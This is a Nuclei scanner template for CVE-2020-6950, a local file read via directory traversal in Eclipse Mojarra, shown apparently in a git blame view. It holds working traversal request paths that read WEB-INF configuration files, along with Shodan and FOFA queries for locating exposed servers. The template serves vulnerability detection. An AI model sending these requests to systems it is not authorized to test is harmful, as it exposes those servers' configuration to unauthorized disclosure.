2023-10-13 16:00:06 +00:00
|
|
|
id: CVE-2020-6950
|
|
|
|
|
|
|
|
info:
|
2023-10-16 08:45:07 +00:00
|
|
|
name: Eclipse Mojarra - Local File Read
|
2023-10-13 16:00:06 +00:00
|
|
|
author: iamnoooob,pdresearch
|
|
|
|
severity: medium
|
|
|
|
description: |
|
|
|
|
Directory traversal in Eclipse Mojarra before 2.3.14 allows attackers to read arbitrary files via the loc parameter or con parameter.
|
|
|
|
reference:
|
|
|
|
- https://github.com/eclipse-ee4j/mojarra/commit/cefbb9447e7be560e59da2da6bd7cb93776f7741
|
|
|
|
- https://github.com/eclipse-ee4j/mojarra/issues/4571
|
2023-10-16 08:45:07 +00:00
|
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2020-6950
|
2023-10-16 10:55:14 +00:00
|
|
|
- https://bugs.eclipse.org/bugs/show_bug.cgi?id=550943
|
|
|
|
- https://www.oracle.com/security-alerts/cpuapr2022.html
|
2023-10-13 16:00:06 +00:00
|
|
|
classification:
|
|
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
|
2023-10-16 10:55:14 +00:00
|
|
|
cvss-score: 6.5
|
|
|
|
cve-id: CVE-2020-6950
|
2023-10-13 16:00:06 +00:00
|
|
|
cwe-id: CWE-22
|
2023-10-19 10:38:59 +00:00
|
|
|
epss-score: 0.0447
|
2023-10-31 18:27:55 +00:00
|
|
|
epss-percentile: 0.91471
|
2023-10-16 10:55:14 +00:00
|
|
|
cpe: cpe:2.3:a:eclipse:mojarra:*:*:*:*:*:*:*:*
|
2023-10-13 16:00:06 +00:00
|
|
|
metadata:
|
|
|
|
verified: true
|
2023-10-16 10:55:14 +00:00
|
|
|
max-request: 4
|
|
|
|
vendor: eclipse
|
|
|
|
product: mojarra
|
2023-10-13 16:00:06 +00:00
|
|
|
shodan-query: html:"javax.faces.resource"
|
|
|
|
fofa-query: body="javax.faces.ViewState"
|
|
|
|
tags: cve,cve2020,mojarra,lfi
|
|
|
|
|
|
|
|
http:
|
|
|
|
- method: GET
|
|
|
|
path:
|
|
|
|
- "{{BaseURL}}/javax.faces.resources/web.xml.jsf?loc=/../../WEB-INF"
|
|
|
|
- "{{BaseURL}}/javax.faces.resources/web.xml.jsf?con=/../../WEB-INF"
|
|
|
|
- "{{BaseURL}}/javax.faces.resources/faces-config.xml.jsf?loc=/../../WEB-INF"
|
|
|
|
- "{{BaseURL}}/javax.faces.resources/faces-config.xml.jsf?con=/../../WEB-INF"
|
|
|
|
|
|
|
|
stop-at-first-match: true
|
|
|
|
matchers:
|
2023-10-16 09:50:11 +00:00
|
|
|
- type: dsl
|
|
|
|
dsl:
|
|
|
|
- 'status_code == 200'
|
|
|
|
- 'contains(header, "application/xml")'
|
|
|
|
- 'contains_all(body, "<web-app", "<servlet>") || contains_all(body, "<faces-config", "</faces-config>")'
|
2023-10-13 16:00:06 +00:00
|
|
|
condition: and
|
2023-10-31 10:54:20 +00:00
|
|
|
|
|
|
|
# digest: 4a0a0047304502200bff1dcccb3d3d1e07eb3ca35a106ad32d7f9f1171a56d52469beab958a079e3022100a295956e6c1fcf234f791b8f637dda8ef1c221de164c9c52af190b5d70cc6818:922c64590222798bb761d5b6d8e72950
|